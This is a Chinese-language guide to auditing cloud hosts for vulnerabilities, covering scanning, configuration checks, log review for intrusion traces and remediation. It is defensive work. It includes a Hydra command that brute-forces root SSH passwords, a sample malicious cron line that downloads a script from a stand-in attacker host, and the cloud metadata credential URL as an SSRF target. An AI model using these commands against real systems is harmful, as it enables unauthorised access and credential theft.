本文目录导读:

云主机漏洞排查是一项系统性工作,通常涉及资产识别、漏洞扫描、配置核查、日志分析和基线加固五个核心环节,以下是分步骤的排查指南:
第一阶段:前期准备与资产盘点
- 确认云主机资产清单
- 通过云厂商控制台(如AWS EC2、阿里云ECS)或CMDB系统,列出所有云主机的IP、操作系统、中间件(Nginx/Apache/Tomcat)、数据库(MySQL/Redis)、开放端口及运行的服务。
- 关键点:找出“僵尸主机”(长期未更新、无人维护的机器),这些通常是漏洞高发区。
- 获取最小权限账号
准备一个拥有Sudo权限(Linux)或管理员权限(Windows)的临时账号,用于安全扫描和配置查看(避免使用root直接操作生产环境)。
第二阶段:自动化漏洞扫描(核心步骤)
使用专业工具进行系统性和应用层扫描:
- 系统级别漏洞
- Linux:使用
yum --security check-update(CentOS/RedHat)或apt list --upgradable(Ubuntu)检查系统补丁。 - 专业扫描器:运行 Nessus、OpenVAS 或 Qualys 对主机IP进行扫描,重点检查:脏牛(Dirty COW)、PrintNightmare、Log4j、SSH漏洞等已知高危漏洞。
- Linux:使用
- Web应用漏洞
- 如果主机运行Web服务,使用 Burp Suite、AWVS 或 Xray 扫描SQL注入、XSS、文件上传、命令执行等漏洞。
- 容器与镜像漏洞(如果主机运行Docker)
- 运行
docker scan <镜像名>或使用 Trivy、Clair 扫描容器镜像层级的漏洞(如基础镜像包含过时的OpenSSL)。
- 运行
第三阶段:安全配置核查(基线检查)
漏洞扫描只能找“已知漏洞”,配置问题才是最大隐患:
- 弱口令与默认凭据(最常见)
- 检查SSH/RDP是否使用弱密码:
hydra -l root -P password.txt ssh://目标IP - 检查数据库(MySQL/Redis/MongoDB)是否使用默认密码或空密码。
- 检查SSH/RDP是否使用弱密码:
- 开放端口与服务暴露
netstat -tulnp或ss -tuln查看所有监听端口。- 高危操作:检查是否有Redis(6379)、Docker Remote API(2375)、Elasticsearch(9200)等无认证服务暴露在公网。立即禁止。
- 防火墙与安全组规则
- 检查云厂商安全组及主机内防火墙(iptables/firewalld):是否允许了
0.0.0/0访问22、3389等管理端口?应改为仅允许特定管理IP。
- 检查云厂商安全组及主机内防火墙(iptables/firewalld):是否允许了
- 文件权限异常
- Linux:检查
/etc/shadow权限是否为-rw-------;检查/tmp目录是否有世界可写的敏感脚本。
- Linux:检查
- SSH密钥与配置
- 检查
~/.ssh/authorized_keys是否存在未知的公钥(后门)。 - 检查
/etc/ssh/sshd_config是否允许PermitRootLogin yes和PasswordAuthentication yes(建议关闭密码登录,使用密钥)。
- 检查
第四阶段:日志分析与入侵痕迹排查
如果怀疑已被入侵,重点检查以下日志:
| 日志类型 | Linux路径 | 查看重点 |
|---|---|---|
| 系统登录日志 | /var/log/secure (RedHat) / /var/log/auth.log (Ubuntu) |
大量 Failed password(暴力破解)、异常时间的 Accepted(成功登录) |
| 命令历史 | ~/.bash_history (root用户) |
攻击者执行的命令,如 wget、curl、chmod +x、cron 任务 |
| Web访问日志 | /var/log/nginx/access.log 或 /var/log/httpd/ |
异常User-Agent(如sqlmap、nmap)、大量404(目录扫描)、POST请求异常(文件上传) |
| 系统进程 | ps aux、top |
高CPU/内存的未知进程,名称含 xmr(挖矿)、apache2(假Apache,其实是木马) |
| 计划任务 | crontab -l、/var/spool/cron/ |
是否存在恶意下载脚本(如 wget http://evil.com/xxx.sh) |
第五阶段:应急响应与修复
排查出问题后,按优先级处理:
- 高危漏洞:立即打补丁(如
yum update)或临时禁用该服务。 - 弱口令:立即修改密码为16位以上带特殊字符的随机密码,并启用SSH密钥登录。
- 后门程序:
- 删除可疑的SSH公钥。
- Kill掉挖矿进程,删除相关的Cron任务和启动项(检查
/etc/rc.local、/etc/systemd/system/)。
- 网络攻击:
- 更新云厂商安全组,将管理端口IP白名单化。
- 启用云厂商的WAF或主机安全防护软件(如阿里云安骑士、腾讯云管家、Cloudflare)。
针对云环境的特殊建议
- 使用云厂商自带的漏洞扫描服务:如AWS Inspector、阿里云云安全中心、腾讯云主机安全,它们能自动关联系统补丁和云配置最佳实践,效率最高。
- 检查云服务的特定组件:
- 云监控Agent:检查是否有异常写入。
- 元数据服务(Metadata Service):检查是否有SSRF漏洞被利用来获取
http://169.254.169.254/latest/meta-data/中的临时凭据。
- 备份与回滚:如果无法快速修复漏洞,可以直接通过云控制台回滚到最近的快照(Snapshot)或使用AMI镜像重建实例。
总结排查优先级排序
- 做:扫描已知CVE漏洞(特别是Log4j、Struts2、WebLogic等)。
- 查:弱密码、无认证Redis/Elasticsearch、公网SSH/MySQL暴露。
- 看:进程CPU异常、Cron定时任务、SSH密钥后门。
- 堵:安全组最小权限策略、关闭不必要的云服务API暴露。
最后提醒:不要在生产环境高峰期直接运行高强度扫描工具(如Nessus Full Scan),可先用轻量级脚本或nmap做初步探测。